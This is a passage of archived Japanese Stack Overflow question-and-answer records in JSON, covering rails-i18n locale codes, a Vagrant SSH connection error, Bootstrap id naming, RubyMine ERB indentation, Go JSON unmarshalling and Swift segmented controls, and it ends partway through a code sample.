[ { "body": "[rails-i18n](https://github.com/svenfuchs/rails-i18n)のREADME.mdによると、妥当な言語/地域コードのリストについては、[iso](https://github.com/tigrish/iso)ライブラリを参照するとしています。isoライブラリは[ISO\n639-1 alpha2](https://ja.wikipedia.org/wiki/ISO_639-1)に基づく言語コードとして小文字2文字、[ISO\n3166-1](https://ja.wikipedia.org/wiki/ISO_3166-1)に基づく地域コードとして大文字2文字または数字3文字(UN\nM49に基づく)を使うとしています。それらを組み合わせて、`言語コード`または`言語コード-地域コード`をタグとして使うとなっています。\n\n上の話から言えば、日本語だと\"ja\"以外に\"ja-\nJP\"でも問題は無いはずです。実際、rails-i18n等の翻訳済みデータを使う必要が無ければ別に何であっても動作はします。しかし、各ライブラリの翻訳済みデータは日本語を\"ja\"としているため、それを使うのであれば\"ja\"に合わせる必要があると言うだけです。翻訳済みのリストについてはrails-i18nのREADME.mdにあるAvailable\nLocalesを参考にしてください。\n\nなお、規格として[IETF言語タグ(IETF language\ntag)](https://ja.wikipedia.org/wiki/IETF%E8%A8%80%E8%AA%9E%E3%82%BF%E3%82%B0)のlanguageとlanguage-\nregionがありますが、この規格を採用しているというわけではないようです。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-06-05T08:03:00.153", "id": "26467", "last_activity_date": "2016-06-05T08:03:00.153", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7347", "parent_id": "20483", "post_type": "answer", "score": 4 } ]
20483
26467
26467
{ "accepted_answer_id": null, "answer_count": 3, "body": "■環境 \ncentos7.0\n\n■エラーメッセージ \n・vagrant up時\n\n```\n\n Bringing machine 'default' up with 'virtualbox' provider...\n ==> default: Checking if box 'chef/centos-7.0' is up to date...\n ==> default: There was a problem while downloading the metadata for your box\n ==> default: to check for updates. This is not an error, since it is usually due\n ==> default: to temporary network problems. This is just a warning. The problem\n ==> default: encountered was:\n ==> default:\n ==> default: The requested URL returned error: 404 Not Found\n ==> default:\n ==> default: If you want to check for box updates, verify your network connection\n ==> default: is valid and try again.\n ==> default: Clearing any previously set forwarded ports...\n ==> default: Clearing any previously set network interfaces...\n ==> default: Preparing network interfaces based on configuration...\n default: Adapter 1: nat\n default: Adapter 2: hostonly\n ==> default: Forwarding ports...\n default: 8000 => 12345 (adapter 1)\n default: 22 => 2222 (adapter 1)\n ==> default: Booting VM...\n ==> default: Waiting for machine to boot. This may take a few minutes...\n default: SSH address: 127.0.0.1:2222\n default: SSH username: vagrant\n default: SSH auth method: private key\n default: Warning: Connection timeout. Retrying...\n default: Warning: Connection timeout. Retrying...\n default: Warning: Connection timeout. Retrying...\n \n```\n\n・vagrant ssh時\n\n```\n\n ssh_exchange_identification: Connection closed by remote host\n \n```\n\n■hosts.allow\n\n```\n\n ALL : 127.0.0.1\n sshd : ALL\n \n```\n\nknown_hostsは削除済みです。作業しているなかで突然このような状態になりました。 \n解決策をご教示いただけませんでしょうか。\n\nCentOS7はvirtualBoxの中に立ち上げたゲストOSです。\n\n* * *\n\n`ssh -vvv -p 2222 -i ~/.vagrant.d/insecure_private_key -l vagrant 127.0.0.1` \nを実行したところ、下記のメッセージが出ました。 \nどのように対処すればよいでしょうか?\n\n```\n\n OpenSSH_6.9p1, LibreSSL 2.1.8\n debug1: Reading configuration data /Users/mae/.ssh/config\n debug1: Reading configuration data /etc/ssh/ssh_config\n debug1: /etc/ssh/ssh_config line 21: Applying options for *\n debug2: ssh_connect: needpriv 0\n debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222.\n debug1: Connection established.\n debug1: key_load_public: No such file or directory\n debug1: identity file /Users/mae/.vagrant.d/insecure_private_key type -1\n debug1: key_load_public: No such file or directory\n debug1: identity file /Users/mae/.vagrant.d/insecure_private_key-cert type -1\n debug1: identity file /Users/mae/.ssh/id_rsa type 1\n debug1: key_load_public: No such file or directory\n debug1: identity file /Users/mae/.ssh/id_rsa-cert type -1\n debug1: Enabling compatibility mode for protocol 2.0\n debug1: Local version string SSH-2.0-OpenSSH_6.9\n ssh_exchange_identification: Connection closed by remote host\n \n```", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T14:23:40.647", "favorite_count": 0, "id": "20486", "last_activity_date": "2016-09-15T14:02:18.050", "last_edit_date": "2015-12-31T07:47:39.537", "last_editor_user_id": "8000", "owner_user_id": "13850", "post_type": "question", "score": -1, "tags": [ "vagrant" ], "title": "ssh_exchange_identification: Connection closed by remote hostとなりvagrant sshできなくなった", "view_count": 7920 }
[ { "body": "手元の環境(`ubuntu 15.10`)からゲストOS(`CentOS\n6.7`)`ssh`が成功する場合のログと見比べていますが、`ssh_exchange_identification: Connection closed\nby remote host`の例の行まではほぼ同じみたいです。\n\n```\n\n $ vagrant up\n ...\n ...\n (ゲストOSが起動してからvagrantがsshアクセスに使う秘密鍵を調べる)\n $ vagrant ssh-config\n Host www\n HostName 127.0.0.1\n User vagrant\n Port 2222\n UserKnownHostsFile /dev/null\n StrictHostKeyChecking no\n PasswordAuthentication no\n IdentityFile /home/cul8er/xxxx/.vagrant/machines/www/virtualbox/private_key\n IdentitiesOnly yes\n LogLevel FATAL\n $ ssh -vvv -p 2222 -l vagrant -i /home/cul8er/xxxx/.vagrant/machines/www/virtualbox/private_key 127.0.0.1\n OpenSSH_6.9p1 Ubuntu-2, OpenSSL 1.0.2d 9 Jul 2015\n debug1: Reading configuration data /home/cul8er/.ssh/config\n debug1: Reading configuration data /etc/ssh/ssh_config\n debug1: /etc/ssh/ssh_config line 19: Applying options for *\n debug2: ssh_connect: needpriv 0\n debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222.\n debug1: Connection established.\n debug1: key_load_public: No such file or directory\n debug1: identity file /home/cul8er/xxxx/.vagrant/machines/www/virtualbox/private_key type -1\n debug1: key_load_public: No such file or directory\n debug1: identity file /home/cul8er/xxxx/.vagrant/machines/www/virtualbox/private_key-cert type -1\n debug1: Enabling compatibility mode for protocol 2.0\n debug1: Local version string SSH-2.0-OpenSSH_6.9p1 Ubuntu-2\n \n <ここまでのログは質問の起きた状況とほぼ同じ見える>\n \n debug1: Remote protocol version 2.0, remote software version OpenSSH_5.3\n debug1: match: OpenSSH_5.3 pat OpenSSH_5* compat 0x0c000000\n debug2: fd 3 setting O_NONBLOCK\n debug1: Authenticating to 127.0.0.1:2222 as 'vagrant'\n ...\n ...\n debug3: authmethod_is_enabled publickey\n debug1: Next authentication method: publickey\n debug1: Trying private key: /home/cul8er/xxxx/.vagrant/machines/www/virtualbox/private_key\n ...\n ...\n debug1: Authentication succeeded (publickey).\n Authenticated to 127.0.0.1 ([127.0.0.1]:2222).\n ...\n ...\n \n```\n\n幾つかのウェブページの説明ではこのエラーは複数の原因があるようですね。 \n中でも[ssh_exchange_identification: Connection closed by remote\nhost](http://edoceo.com/notabene/ssh-exchange-\nidentification)というページに比較的網羅的な説明があったので紹介します。\n\n * リモートサーバー(この質問で言うとゲストマシン側)の`hosts.allow`と`hosts.deny`のどちらかまたは両方に接続制御がかかっている場合\n * サーバーの過負荷:ログインしようとしているサーバーで`sshd`に関連する大量のゾンビプロセスがあって接続最大数に達したなどの場合\n * フィンガープリントの情報が何かしらのきっかけで壊れてしまった場合。`~/.ssh/known_hosts`の中身を消したり、サーバー側の公開鍵ファイル(`authorized_keys`)を作り直したりして対応することがあるらしい他、`/etc/ssh/*key*`がない状態でsshdが再起動されていないときにもエラーの発生事例があるらしい\n * `glibc`や`openssl`のアップグレード後に`ssh`/`sshd`との依存関係が壊れてしまった場合 \n\nご参考になれば。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T06:14:53.153", "id": "20501", "last_activity_date": "2015-12-31T06:24:25.453", "last_edit_date": "2015-12-31T06:24:25.453", "last_editor_user_id": "9403", "owner_user_id": "9403", "parent_id": "20486", "post_type": "answer", "score": 0 }, { "body": "当方では、Vagrant 1.5で作ったBoxをVagrant 1.7.4環境において`vagrant up`でゲストOS生成後、`vagrant\npackage`でBoxを作り、そのBoxから再度Vagrant 1.7.4環境で`vagrant\nup`したとき、SSH秘密鍵のパスがBox内部の秘密鍵から`~/.vagrant.d/insecure_private_key`に変更になり、`vagrant\nup`にてSSHのタイムアウトエラーが出るようになりました。\n\n現象としては、Vagrant\n1.7より採用された、安全でない鍵ペアを使っているBoxとゲストOSの鍵ペアを置換する機能のために、まずは安全でない鍵ペアでのログインが試みられていて、手元の環境に存在するVagrant配布物に含まれる\n**秘匿されていない秘密鍵**`~/.vagrant.d/insecure_private_key`に対応する公開鍵が、ゲストOSの`~/.ssh/authorized_keys`に存在しないということだと思います。\n\n解決法としては、手元の環境で秘密鍵に対応する公開鍵を作成(この公開鍵はネットで事実上公開されているので\n<https://github.com/mitchellh/vagrant/tree/master/keys> マスクしません)\n\n```\n\n $ ssh-keygen.exe -y -f ~/.vagrant.d/insecure_private_key\n ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ==\n \n```\n\nとして公開鍵を生成した後、ゲストOSのLinuxに`vagrant`ユーザでパスワードログインをして、先ほどの公開鍵を\n\n```\n\n $ cat << 'EOS' >> ~/.ssh/authorized_keys\n ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key\n EOS\n \n```\n\nで、ゲストOSの`vagrant`ユーザの公開鍵認証SSHログインができるように登録します。\n\nその後、ゲストOSを抜けた後、`vagrant halt`をすると、\n\n```\n\n $ vagrant halt\n ==> default: Attempting graceful shutdown of VM...\n default:\n default: Vagrant insecure key detected. Vagrant will automatically replace\n default: this with a newly generated keypair for better security.\n default:\n default: Inserting generated public key within guest...\n default: Removing insecure key from the guest if its present...\n default: Key inserted! Disconnecting and reconnecting using new SSH key...\n \n```\n\nと表示され、`vagrant ssh`用の新しい鍵ペアが生成・置換されます。\n\n以降、正常に`vagrant up`できるようになると思います。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T11:12:45.273", "id": "20508", "last_activity_date": "2015-12-31T11:12:45.273", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12633", "parent_id": "20486", "post_type": "answer", "score": 0 }, { "body": "先日私もハマったのですが、ゲストOSにsshがインストールされてない可能性はないですか??\n\nVagrantfileを以下のように編集してvagrant\nupするとGUIが起動するので、そこ画面でID/PASSともにvagrantでログインして、sshコマンドがインストールされてるかどうか試していただきたいです。もしインストールされてなければ、そもそもsshできないのでvagrant\nsshもこけてしまいます。\n\n```\n\n config.vm.provider \"virtualbox\" do |vb|\n # # Display the VirtualBox GUI when booting the machine\n vb.gui = true\n #\n # # Customize the amount of memory on the VM:\n # vb.memory = \"1024\"\n end\n \n```\n\nあ、「突然このようになった」て書いてありますね、前はできたということなら、↑の可能性はないと思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T14:33:09.630", "id": "20513", "last_activity_date": "2015-12-31T14:33:09.630", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5852", "parent_id": "20486", "post_type": "answer", "score": 0 } ]
20486
null
20501
{ "accepted_answer_id": "20494", "answer_count": 1, "body": "下記はBootstrapの Modal のサンプルコードの一部なのですが\n\n<http://getbootstrap.com/javascript/>\n\n```\n\n <!-- Button trigger modal -->\n <button type=\"button\" class=\"btn btn-primary btn-lg\" data-toggle=\"modal\" data-target=\"#myModal\">\n Launch demo modal\n </button>\n \n <!-- Modal -->\n <div class=\"modal fade\" id=\"myModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"myModalLabel\">\n <div class=\"modal-dialog\" role=\"document\">\n \n```\n\n`id`や一部の属性のみキャメルケースで記述されその他はスネイクケースになってるのには何か理由があるんでしょうか?\n\n例えば `data-*`属性はハイフンが使えないとかでしょうか? \nだとしたら`aria-labelledby`もキャメルケースの理由がわかりませんし…。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T00:04:46.943", "favorite_count": 0, "id": "20491", "last_activity_date": "2015-12-31T01:52:10.143", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 4, "tags": [ "javascript", "html" ], "title": "BootstrapのサンプルのコードにCamelCaseとsnake_caseが混在する理由", "view_count": 356 }
[ { "body": "HTML4の頃は `id` 属性に設定できる値は ID型 として区別されていて、class\nをはじめとする他の属性よりも使える文字種が少ないことはありました。が、その頃でもハイフンは許容されていましたし、HTML5ではもっと緩くなっています。CSSのセレクタでは当然扱えます。\n\n[HTML4.01 と HTML5 における id 属性に関するまとめ -\nNeareal](http://neareal.net/index.php?IT%2FWeb%2FHTML%2FIdAttributeTipsInHTML4.01andHTML5.0)\n\nよって、規格上の必然性はありません。\n\n変数名にハイフンを使えない Javascript に合わせて、という理由が多い気はしますが、結局は好みの問題です。「id class\ncamelcase」あたりでググると、この件についての意見がごろごろ出てきます。\n\nBootstrap に限った話でいえば、Bootstrap\n上意味のある文字列ではなくプレースホルダだと示すため、あるいは単に目立たせるため、という理由が挙げられていました。\n\n[camelCase for ids and hyphens for class names · Issue #17417 ·\ntwbs/bootstrap](https://github.com/twbs/bootstrap/issues/17417)\n\n`data-target` や `aria-labelledby` が camelCase なのは、別要素の `id`\nをそのまま書いているから、というだけでしょう。当該要素の `id`\nも併せて変更すれば、[問題なく動作します](https://jsfiddle.net/f2fgwxpx/)。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T01:52:10.143", "id": "20494", "last_activity_date": "2015-12-31T01:52:10.143", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8000", "parent_id": "20491", "post_type": "answer", "score": 4 } ]
20491
20494
20494
{ "accepted_answer_id": "20512", "answer_count": 1, "body": "## インデントが変な上にインデントを浅くできない\n\n<https://youtrack.jetbrains.com/issue/RUBY-16183> \n<https://youtrack.jetbrains.com/issue/RUBY-17411> \n<https://youtrack.jetbrains.com/issue/RUBY-16075>\n\nRubyMineですが、ERBのインデントがどうもおかしいです(8.0.3で修正されたところもあるようですがまだおかしい)。\n\nXcodeは、自動でついたインデントが深すぎた場合、手動で浅くする機能がありますが、 \nRubyMineは強制的にRubyMineの考える深さのインデント以上浅くすることができません。\n\n### インデントを浅くできない例\n\n```\n\n <div>\n <div>\n <%= 'aaaaa' %>\n </div>\n </div>\n \n```\n\nという状態で`<%=`の前でDeleteキーを押すと、\n\n```\n\n <div>\n <div><%= 'aaaaa' %>\n </div>\n </div>\n \n```\n\nとなる。とくに`<%=`が入れ子状態だと異常に深いインデントが出現するため、浅くしたいができない。\n\n### インデントが変な例\n\n```\n\n <%= link_to hoge_path do -%>\n <i></i>\n <% end -%>\n \n```\n\nなぜか、`<%=`や`<%`で囲むと中が4スペースになる(普通のHTMLで囲った場合は2スペース)。 \n「Reformat Code」したときもこの4スペースの箇所にもっていかれるので、「Reformat Code」することができない。\n\nTabs and Indentsで何を設定しても`%`での入れ子は4スペース... \n[![画像の説明をここに入力](https://i.stack.imgur.com/BUBPt.png)](https://i.stack.imgur.com/BUBPt.png)\n\n### インデントを切りたい\n\nそこで、ERBの場合インデントさせないようにインデント自体の機能を切りたいです。 \n(インデントが浅くできない状況は`.rb`ファイルでも起こっています)\n\n## RubyMineをアンインストールしなおしても改善せず\n\n[ruby - How to Uninstall RubyMine? - Stack\nOverflow](https://stackoverflow.com/questions/8297970/how-to-uninstall-\nrubymine) \nリンク手順にしたがって、アンインストールして再インストールしても改善せず。 \nとはいえ、なぜか該当プロジェクトを再インストールしたRubyMineで開くと、開いていたファイル状態が記憶されているのとプロジェクトの構成をみるProjectペインが本来なら左端に出るのがデフォルトだがこれを右に移動した記憶が残っており、完全にアンインストールできていないもよう.....\n\n## File Typesで認識をはずしてみた\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/bJ4I2.png)](https://i.stack.imgur.com/bJ4I2.png)\n\nFile TypesからRHTMLに`*.erb`が設定されていましたので、`*.erb`を削除しました。 \nそうすると、RubyMineは`*.erb`はただのプレーンテキストだと認識しハイライトとインデント強制がなくなりました。\n\nしかし理想はインデント強制のみを切りたいです。(`*.rb`でもインデントが手動で調整できないとチームと完全に一致させるのが困難)", "comment_count": 5, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T00:43:47.970", "favorite_count": 0, "id": "20492", "last_activity_date": "2016-01-03T10:32:43.393", "last_edit_date": "2017-05-23T12:38:56.467", "last_editor_user_id": "-1", "owner_user_id": "9008", "post_type": "question", "score": 0, "tags": [ "rubymine" ], "title": "RubyMineでインデントの強制機能を切りたい", "view_count": 871 }
[ { "body": "※修正しました\n\n恐らくMacで開発されていると思うのですが、その場合`delete`キーには`Backspace`が割り当てられています。`Backspace`ではインデントを削除しようとすると前の行に行ってしまいますが`Delete`コマンドが割り当てられたキーで削除すれば問題なく削除できました。\n\nどのキーが`Delete`に割り当てられているかの確認は設定の`Keymap`を参照してください。\n\n### インデントが深くなりすぎてしまうこと自体への対策\n\n`Preferences->Code Style->HTML->Other`にある`Do not indent children of:`\nで指定した要素の子要素はインデントがつかなくなり、また`or if tag size more\nthan`で数値を指定すれば、その指定した行数以上タグの要素が続く場合はインデントされなくなります。\n\nあとはご存知だとは思いますが、そんなにインデントが深くなるなら`partial`を作ってわけたほうが良いと思います。ただ、チームで開発してるとそれが難しい時もありますよね…。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T14:18:30.147", "id": "20512", "last_activity_date": "2015-12-31T19:22:22.433", "last_edit_date": "2015-12-31T19:22:22.433", "last_editor_user_id": "3271", "owner_user_id": "3271", "parent_id": "20492", "post_type": "answer", "score": 1 } ]
20492
20512
20512
{ "accepted_answer_id": "20505", "answer_count": 2, "body": "Go言語を使って構造体を定義し、下記レスポンスをUnmarshalでパースしたいです。`authors`のところが数字をキーとして使用しています。\n\n[https://glosbe.com/gapi/translate?from=en&dest=ja&format=json&phrase=test&pretty=true](https://glosbe.com/gapi/translate?from=en&dest=ja&format=json&phrase=test&pretty=true)\n\n以前コチラの質問で`simple-\njson`でのパースについて質問させていただきましたが、標準ライブラリのUnmarshalではどのようにすればいいのでしょうか。`json:\"-\"`を指定すればフィールドを無視できるようですが、その時構造体の要素はどのように定義すればいいでしょうか。\n\n[キーが変動するJsonをパースしたい](https://ja.stackoverflow.com/questions/19393/%E3%82%AD%E3%83%BC%E3%81%8C%E5%A4%89%E5%8B%95%E3%81%99%E3%82%8Bjson%E3%82%92%E3%83%91%E3%83%BC%E3%82%B9%E3%81%97%E3%81%9F%E3%81%84)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T04:29:34.280", "favorite_count": 0, "id": "20497", "last_activity_date": "2015-12-31T14:36:02.550", "last_edit_date": "2017-04-13T12:52:38.920", "last_editor_user_id": "-1", "owner_user_id": "7232", "post_type": "question", "score": 1, "tags": [ "go", "json", "api" ], "title": "Goで数字がキーのJsonをUnmarshalしたい", "view_count": 976 }
[ { "body": "参考情報ですが\n\n厳密にはJSONではkeyに数字を使えず、文字列しか使えないそうです。\n\n[JavaScript Object Notation -\nWikipedia](https://ja.wikipedia.org/wiki/JavaScript_Object_Notation#.E8.A1.A8.E8.A8.98.E6.96.B9.E6.B3.95)\n\n> ここで注意することはキーとして使うデータ型は文字列に限ることである。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T06:17:30.227", "id": "20502", "last_activity_date": "2015-12-31T06:17:30.227", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5246", "parent_id": "20497", "post_type": "answer", "score": 1 }, { "body": "まず、`tuc.authors`(下記プログラム内の `TucItem.Authors` に対応)を `interface{}` 型で\nunmarshaling します。レスポンス(JSON format)の最後に `authors` タグがあるので、これを map に取り込んで先の\n`TucItem.Authors` にマッチングさせて、`Author` 型のデータに入れ替えます(対応するデータがない場合は `nil`\nが入ります)。ただ、`interface{}` 型なので必要に応じて type assertion を行う事になります。\n\n```\n\n package main\n \n import (\n \"encoding/json\"\n \"fmt\"\n \"io/ioutil\"\n \"net/http\"\n \"net/url\"\n \"strconv\"\n )\n \n type Translate struct {\n Result string\n Tuc []TucItem\n Phrase string\n From string\n Dest string\n Authors map[string]Author\n }\n \n type TucItem struct {\n Phrase PhraseItem\n Meanings []PhraseItem\n MeaningId float64\n Authors []interface{}\n }\n \n type PhraseItem struct {\n Text string\n Language string\n }\n \n type Author struct {\n U string\n Id uint\n N string\n Url string\n }\n \n func main() {\n values := url.Values{}\n values.Add(\"format\", \"json\")\n values.Add(\"from\", \"en\")\n values.Add(\"dest\", \"ja\")\n values.Add(\"phrase\", \"test\")\n \n resp, err := http.Get(\"https://glosbe.com/gapi/translate?\" + values.Encode())\n if err != nil {\n fmt.Println(err)\n }\n \n defer resp.Body.Close()\n rf, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n fmt.Println(err)\n }\n \n var result Translate\n json.Unmarshal(rf, &result)\n \n // Replace authors data\n for _, tuc := range result.Tuc {\n for i, id := range tuc.Authors {\n aid := int(id.(float64))\n v, ok := result.Authors[strconv.Itoa(aid)]\n if ok {\n tuc.Authors[i] = v\n } else {\n tuc.Authors[i] = nil\n }\n }\n }\n \n // Show authors\n for _, tuc := range result.Tuc {\n text := tuc.Phrase.Text\n if len(text) == 0 {\n text = tuc.Meanings[0].Text[0:5] + \"...\"\n }\n fmt.Printf(\"%s:\", text)\n for _, author := range tuc.Authors {\n fmt.Printf(\" %#v\", author)\n }\n fmt.Println(\"\")\n }\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T08:17:08.450", "id": "20505", "last_activity_date": "2015-12-31T14:36:02.550", "last_edit_date": "2015-12-31T14:36:02.550", "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20497", "post_type": "answer", "score": 1 } ]
20497
20505
20502
{ "accepted_answer_id": "20521", "answer_count": 1, "body": "複数のUISegmentedControlですが、条件分岐をどこで設定するのか?がわかりません。 \n下記コードが、今まで出来ているものです。 \n1つのページに3つのUISegmentedControlを設置したいので、どなたかご教授いただけませんか?\n\nimport SpriteKit\n\n```\n\n class GameScene: SKScene {\n \n var myImage : SKSpriteNode!\n \n override func didMoveToView(view: SKView) {\n \n //背景画像。SKSPriteNodeで画像を読み込む。\n let backGround = SKSpriteNode(imageNamed:\"stadium414736.png\")\n //画面サイズを取得\n let Label = SKLabelNode(text: \"\\(self.size)\")\n Label.position = CGPointMake(self.size.width/2.0,self.size.height/2.0)\n //背景を画面の中央に配置する\n backGround.position = CGPointMake(CGRectGetMidX(self.frame), CGRectGetMidY(self.frame))\n //画像のサイズを画面に合わせる\n backGround.size = self.size\n //画像を最下層に設置\n backGround.zPosition = -CGFloat.infinity\n // シーンに追加.\n self.addChild(backGround)\n // GameSceneの背景色を青色にする.\n self.backgroundColor = UIColor.blueColor()\n \n // ボール画像を生成.\n myImage = SKSpriteNode(imageNamed:\"ball04.png\")\n // ボール画像の描画場所を指定.\n myImage.position = CGPoint(x:CGRectGetMidX(self.frame), y:CGRectGetMidY(self.frame));\n // シーンに追加.\n self.addChild(myImage)\n \n // ラベル 打球種\n let dakyuushu = SKLabelNode(fontNamed:\"Chalkduster\")\n dakyuushu.text = \"打球種\"\n dakyuushu.fontSize = 15\n dakyuushu.position = CGPoint(x:(size.width / 10.0) * 1 , y:(size.height / 35) * 11.1)\n dakyuushu.fontColor = UIColor.whiteColor()\n self.addChild(dakyuushu)\n //選択肢\n let myArray1: NSArray = [\" ゴロ \", \" ライナー \", \" フライ \" ]\n // SegmentedControlを作成する.\n let dakyuushu1: UISegmentedControl = UISegmentedControl(items: myArray1 as [AnyObject])\n dakyuushu1.center = CGPoint(x:(size.width / 10.0) * 5.8 , y:(size.height / 35) * 23.5)\n dakyuushu1.tintColor = UIColor.yellowColor()\n // イベントを追加する.\n dakyuushu1.addTarget(self, action: \"segconChanged1:\", forControlEvents: UIControlEvents.ValueChanged)\n // Viewに追加する.\n self.view!.addSubview(dakyuushu1)\n \n // ラベル 捕球野手\n let hokyuu = SKLabelNode(fontNamed:\"Chalkduster\")\n hokyuu.text = \"捕球野手\"\n hokyuu.fontSize = 15\n hokyuu.position = CGPoint(x:(size.width / 10.0) * 1 , y:(size.height / 35) * 9)\n hokyuu.fontColor = UIColor.whiteColor()\n self.addChild(hokyuu)\n //選択肢\n let myArray2: NSArray = [\"投 \", \"捕 \", \"一 \", \"二 \", \"三 \", \"遊 \", \"左 \", \"中 \", \"右 \", \"無 \" ]\n // SegmentedControlを作成する.\n let hokyuu2: UISegmentedControl = UISegmentedControl(items: myArray2 as [AnyObject])\n hokyuu2.center = CGPoint(x:(size.width / 10.0) * 5 , y:(size.height / 35) * 27.3)\n hokyuu2.tintColor = UIColor.yellowColor()\n // イベントを追加する.\n hokyuu2.addTarget(self, action: \"segconChanged2:\", forControlEvents: UIControlEvents.ValueChanged)\n // Viewに追加する.\n self.view!.addSubview(hokyuu2)\n \n // ラベル 結果\n let kekka = SKLabelNode()\n kekka.text = \"結果\"\n kekka.fontSize = 15\n kekka.position = CGPoint(x:(size.width / 10.0) * 1 , y:(size.height / 35) * 5.5)\n kekka.fontColor = UIColor.whiteColor()\n self.addChild(kekka)\n //選択肢\n let myArray: NSArray = [\"Out \", \"1BH \", \"2BH \", \"3BH \",\"HR \", \"ERR \", \"Fc \" ]\n // SegmentedControlを作成する.\n let kekka1: UISegmentedControl = UISegmentedControl(items: myArray as [AnyObject])\n kekka1.center = CGPoint(x:(size.width / 10.0) * 5 , y:(size.height / 35) * 31)\n kekka1.tintColor = UIColor.yellowColor()\n // イベントを追加する.\n kekka1.addTarget(self, action: \"segconChanged:\", forControlEvents: UIControlEvents.ValueChanged)\n // Viewに追加する.\n self.view!.addSubview(kekka1)\n }\n \n override func touchesBegan(touches: Set<UITouch>, withEvent event: UIEvent?) {\n for touch: AnyObject in touches {\n \n // タッチされた場所の座標を取得.\n let location = touch.locationInNode(self)\n //画面の中心\n let midX = CGRectGetMidX(self.frame)\n let midY = CGRectGetMidY(self.frame)\n \n // ボール位置・軌跡のエリア条件\n let area2 = (location.x - midX) / (location.y - (midY - (midY / 5.0)))\n if location.y > midY - (midY / 5.0) {\n if area2 >= -1 && area2 <= 1 {\n // 打球到達エリア判定\n let area1 = ((location.x - midX) / (location.y - midY))\n if location.y - midY <= 0 && location.x - midX <= 0 {\n print(\"left\")\n } else if location.y - midY < 0 && location.x - midX > 0 {\n print(\"right\")\n } else if area1 < -0.3 {\n print(\"left\")\n } else if area1 >= -0.3 && area1 <= 0.3 {\n print(\"center\")\n } else if area1 > 0.3 {\n print(\"right\")\n }\n \n // タッチされた場所に画像を移動\n myImage.position = location\n // 始点を記憶するインスタンス変数\n var position = CGPointZero\n // 始点を記憶\n position = self.convertPointFromView((touches.first?.locationInView(view))!)\n // CGPathを生成\n let path = CGPathCreateMutable()\n // 描画のペンを始点に移動\n CGPathMoveToPoint(path, nil, position.x, position.y)\n // カーブを描く\n //CGPathAddCurveToPoint(path, nil, position.x , position.y , midX, midY, midX, midY)\n // \"curve\"という名前のノードがあったら消去する\n if let theNode = self.childNodeWithName(\"curve\") {\n theNode.removeFromParent()\n }\n // pathからSKShapeNodeを生成。\n let shapeNode = SKShapeNode(path: path)\n // ノードに名前を付ける\n shapeNode.name = \"curve\"\n //軌跡を描画\n self.addChild(shapeNode)\n }\n }\n }\n }\n \n //打球種 SegmentedControlの値が変わったときに呼び出される.\n func segconChanged1(sender: UISegmentedControl){\n // CGPathを生成\n let path = CGPathCreateMutable()\n //画面の中心\n let midX = CGRectGetMidX(self.frame)\n let midY = CGRectGetMidY(self.frame)\n // shapeNodeを取得\n guard let shapeNode = childNodeWithName(\"curve\") as? SKShapeNode else {\n return\n }\n switch sender.selectedSegmentIndex {\n case 0:\n CGPathAddCurveToPoint(path, nil, position.x , position.y , midX, midY, midX, midY)\n case 1:\n CGPathAddCurveToPoint(path, nil, (position.x + midX) / 2.0 , position.y , midX, midY, midX, midY)\n case 2:\n CGPathAddCurveToPoint(path, nil, (position.x + midX) / 2.0 , (position.y + (midY / 1.5)), midX, midY, midX, midY)\n default:\n print(\"Error\")\n }\n // 線の太さを指定\n shapeNode.lineWidth = 1.0\n \n }\n \n //結果 SegmentedControlの値が変わったときに呼び出される.\n func segconChanged(segcon: UISegmentedControl){\n // shapeNodeを取得\n guard let shapeNode = childNodeWithName(\"curve\") as? SKShapeNode else {\n return\n }\n switch segcon.selectedSegmentIndex {\n case 0:\n shapeNode.strokeColor = 